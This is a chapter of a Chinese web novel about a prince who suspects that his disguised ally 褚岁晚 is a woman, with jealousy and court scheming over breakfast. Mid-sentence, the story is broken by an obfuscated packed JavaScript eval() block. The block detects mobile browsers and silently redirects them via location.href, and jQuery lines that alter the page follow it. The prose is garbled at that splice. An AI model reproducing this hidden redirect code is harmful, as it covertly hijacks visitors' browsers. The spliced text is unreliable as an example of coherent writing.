46.046
作品:《将军他竟是大小姐》 春风徐徐,月色溶溶。
一道熟悉的慵懒嗓音毫无征兆的传入耳朵,褚岁晚止住口中未言的话,缓缓抬头,一抹倚在她院门的白影映入眼帘。
衣袍飘飘,发丝拂动。
青年的五官在月色的晕染下,俊美的有些不真实。昳丽薄唇扬起弯弯弧度,一如白日她离去时那样,倚门含笑。
但不知是不是夜色的缘故,那双漂亮的桃花眼,眸色有些晦暗不明,难以辨明真实情绪。
他是在不开心?
褚岁晚默然,直到旁边的绯言玉弯腰作揖的声音响起,她才抽出沉溺心神的思绪,随着对方一起行礼。
背后秋露和带着羃篱的碧月款款行礼后,非常有眼色的退下。
奚云祉的视线不着痕迹的看了她们一眼,便径直走到两人面前,然后不动声色地用身体隔开他们的距离。
只是下意识想搭在少年肩膀的手,终是放了下来。
“今天怎的回来的那么晚?”
经他这么一问,褚岁晚那兴奋的情绪又冒出来,忽略对方此时挨在她身边的姿势,温和的嗓音含着显而易见的笑意,简略的把今天发生的事情告诉青年。
说到最后,少年补上一句。
“这次,真的多亏绯州守。”
“是吗?”
奚云祉淡淡地问道,像是才发现对方的存在一样,被晾许久的绯言玉终于收获上司的一个眼神。
“没有没有。”绯言玉摆摆手,“褚都督谬赞了,和二位相比,臣这点根本不算什么。”
奚云祉眉头几乎不可察的一皱,他并不想听这两人互夸,脑海想起他来这的原因,把手心攥着的信函递给少年。
“对方很快便会有动作,三日后可安排他们出面。”
此话一落,褚岁晚注意力瞬间转移,她接过信函,扫了一遍内容,额间发丝萦动间的黑眸沉静如海。
“择朝花节这等盛大的节会,莫不是要引导百姓做局?”
“不是没有这种可能。”奚云祉抱着臂,语气很是随意,“毕竟百姓向来是哪边声音大,就倒向哪边。”
这话褚岁晚倒是很赞同,人心难测,何尝不是在说,人心易诱。
绯言玉握紧拳头,“有什么是需要我去做的吗?”
他一想到能将这些人绳之以法,嗓音难抑激动,还要什么随波逐流,直接开干!
天塌下来,还有他的殿下和都督扛着。
奚云祉睨了他一眼,这样一个愣头青,居然曾经还是状元,那考官是眼睛不好使吧。
褚岁晚按耐住嘴角的笑意,还没等她开口,便被青年抢先。
“本殿确实有需要州守帮忙的地方。”奚云祉搂着绯言玉的肩膀往外走,继续道:“州守且跟本殿来,本殿和你细说。”
说完他向后摆摆手。
“子……都督今天也累了,好好休息吧。”
差点因习惯脱口而出的称呼,被青年憋了回去。若是他的猜测是真的,那这个表字根本就不是对方的。
想起他这阵子,亲密称呼的表字,是另一个陌生的人,甚至有可能这个人根本都不存在时,他就忍不住恶寒。
奚云祉抖擞了一下身体,旁边正拘谨着身体不敢动的绯言玉察觉到,有些仿徨的问道:“殿下,是着凉了吗?”
晚间的风那么大,他又穿的单薄,且前阵子才受过重伤,身子骨可遭不住。
奚云祉脚步一顿,这才想起他的手还搂着对方。于是绯言玉刚问完,肩膀上搭的手就瞬速脱离。
紧接着他听见青年说。
“本殿突然又觉得,那些忙不过是小事,就不耽误绯州守明日的返程了。”
“毕竟长途跋涉,州中要处理的事宜,定堆积如山。”
绯言玉一愣,挠了挠头,“殿下尽管吩咐就是,州中的事宜在出发时——”
公务已经处理完的话止于嘴边。
“天色不晚了,绯州守好好歇息。”
“养精蓄锐,为明日的返程做好准备。”
奚云祉弯着眼睛,丝毫没有打断对方话的自觉,说完后,也不等对方反应,自顾自的离开。
燕云的官员参与进来,难免会惹点麻烦。
绯言玉目送奚云祉的身影在夜色消失。心暖暖的,殿下真是个好人,居然还设身处地的在替他着想。
只是他该去哪里睡觉呢。
绯言玉又挠挠头,正犹豫要不要追上奚云祉问清楚时,领了吩咐赶到的暗卫现身,带着绯言玉去往府中最偏的院子。
另一边,褚岁晚在院中的石椅静坐片刻,将脑海得到的讯息再理清一遍,蓦地又想起神医的事,眼中落下一层愁色。
对门的光还未亮,她的兄长还未回。
应该还在和玉光公主一起。
褚岁晚撑着下颚,黑眸看着不远处迎风乱颤的花枝,回忆起这几日见到的两人相处画面,唇角稍扬。
这样的兄长可比在京城时鲜活多了。
褚岁晚轻笑一声,而后神色逐渐坚定起来。
她一定要找到神医。
-
次日膳厅吃早食,奚云祉还以为绯言玉会一早就走,可对方却是又和少年有说有笑的走进来。
心中顿生一股怒气,他弄不清缘由,就是觉得好碍眼。
他不想少年一直和绯言玉说话。
而且昨夜他话里都说那么清楚了,对方竟还是不懂,难怪之前会被人当替罪羔羊,只会死读书,在官场怎么混。
奚云祉闭了闭眼,不想随波逐流,那起码要会察言观色啊。
褚岁晚觉得今天的奚云祉更为的怪。
绯言玉筷子每伸向一道菜,他的筷子就率先落下。
一次是偶然。
那两次。
三次。
褚岁晚觉得这人真的是幼稚,本来她还和绯言玉说着话,现在变成她看着两人你来我往的单方面争菜。
可偏偏绯言玉也看不懂,还当对方是真的喜欢吃,乐呵呵的还和奚云说。
“臣和殿下还真是有缘分,连口味都如此相似。”
奚云祉:……
他扯了扯嘴皮,微笑道:“是啊,还真是有缘分。”
“不知绯州守可是今日返燕云?”
“今个天气极好,路途定是风雨无阻。”
这是他第三次问了。
褚岁晚心想道。
一开始她还在想对方是不是有点直白,好歹也是自己的下属。
待瞧见绯言玉的反应后,褚岁晚觉得直白是对的。
别人是情人眼里出西施。
绯言玉则是眼里上司样样好,也不知是奚云祉帮过他什么。
不过她也还是能理解青年的行为。
绯言玉一个筝州的州守,在江州呆久确实不太妥当,传回京城怕是又有文章可做。
这时,绯言玉放下筷子,拿起帕子擦了擦嘴,高壮的外表配上斯文的动作,莫名的违和,又奇异的让人觉得对方就应该如此。
“多谢殿下关心,臣已经买了午时船票,想着吃完早饭后,去和舅舅说一声,便启程回燕云。”
褚岁晚:“我随你走一趟,刚好有些细节要商讨一下。”
奚云祉展露的笑意凝在嘴边,胸腔的呼吸带上郁气,但阻挠的话语还是没能说出口。
他不能因为个人情绪影响计划。
也不能因此管束少年的自由。
不过——
青年眼中眸光流转,嘴角的笑有些意味深长。
“子安,我听说你妹妹在寻邬徽的踪迹,这几日便派人去寻一下,昨夜消息刚传回来,正好我今日无事,待会我收拾一下,陪你妹妹去那里走一趟。”
“麻烦子安帮我说一下,我在门口等她。”
褚岁晚外走的脚步顿住。
惊喜、讶异、纳闷的情绪席卷心间。
喜的是有神医的消息,惊的是对方居
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451053|139286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然会帮她查,可也在遗憾为何时机那么巧。
想此她转身浅笑道:“臣替舍妹,多谢殿下相助,臣这就回去转述。”
“不用这么客气。”奚云祉眉梢轻扬,“子安和胞妹感情这么深,说不定她找神医,还是想为你调养身体。”
昨日的猜测还得证实。
此行就是一个机会。
奚云祉笑的愈发昳丽。
褚岁晚黑眸掠过一丝古怪,但并未多想,笑着应下后,便转身和等候的绯言玉离去。
才重逢没多久,又要离去,绯言玉心中难免有些不舍。正酝酿着要说些什么时,他听到少年混着歉意的声音。
“抱歉绯州守,我刚想起有件急事还未完成,要晚点才能去和绯大哥商讨了。”绯言玉跟母亲姓,他的舅舅名叫绯青时,于是褚岁晚干脆以大哥称呼。
话是借口,可她眼眸凝着的愧疚,却没有一丝假意。
本来说的好好的,又突然反悔。
任谁心里都会有一丝不舒服。
褚岁晚暗叹一口气,怎么就会这么巧。
绯言玉连连摆手,“没关系的,都督你去忙吧,离朝花节还有些时日,不急于这一时。”
说完他示意褚岁晚留步,拱手作揖。
笑容很是真诚。
“都督,后会有期。”
“后会有期。”褚岁晚也笑道,目送对方一步一步,走到阳光之下。
微风吹摇着他靛蓝色的衣摆,直挺的肩腰下,迈开的步伐比初见时,多了几分沉稳有力。
人总会经历什么。
但愿,千帆归来。
明灯不灭。
日上巳时,换回女装的褚岁晚踏着风,款款自府门走出,步履平稳,衣带翻飞。眉目带笑的画面让坐在车夫位的青枫,眼前一亮。
“褚小姐。”
青枫下车一礼。
车内的青年悠悠地道:“来了?”
褚岁晚扶了扶身,“臣女见过殿下。”随即含笑对青枫颔首回礼,便扶着秋露的手腕,捻裙施然上车。里面等候的青年半阖着眼,左手慵懒地撑颚,目光不着痕迹的打量着坐在对面的少女。
今日少女穿着青色裙,脖颈皙白纤细如一枝细柳,看着很是脆弱,但因其主人端正的姿态,细柳也染着剑兰的坚韧。
面上妆容浅淡,眉间也没有贴明艳的花钿,可五官依旧漂亮的惊人,不显寡淡。
墨缎般的长发勾着几缕在脸侧,清凌的乌眸如两丸浸在水中的玉石,温润清亮。
气质清婉如洛浦仙子。
若细看,从那过于明丽的五官。
也可观出独属于少年,恣潇却又不张扬的意气。
身形比之要小上一截。
肤色也要白一些。
眉毛也更细。
面部轮廓变得柔和,没有扮做少年时的凌厉。
还有……
青年的视线落在那涂着胭脂的唇瓣,喉结轻微滚动几下。
这里要更嫩一些。
总结来说,若不是那副画像。
奚云祉根本就不会觉得,对方可能会是一位女子。在昔日的记忆里,对方给他的印象,是一个五官精致,长相过于俊丽,能打,能抗聪明,敏锐,且正直的少年郎。
有着不输于女子的容貌。
也有着不输于男子的谋略。
更有着世间难得的真诚。
这些种种加起来,一度让奚云祉觉得,对方美好的有些不真实。
有时,他也会罕见的觉得庆幸。
幸好是他先遇见的。
不然对方将会是一个强有力的对手。
其实少年到底是男是女,于他们之间的合作而言,根本就不重要。
可他却能清晰的感受到,心里产生的隐秘兴奋。
它在为他是她,而跳动着喜悦的韵律。
即使现在证据还不够多。
只能猜测,无法确定。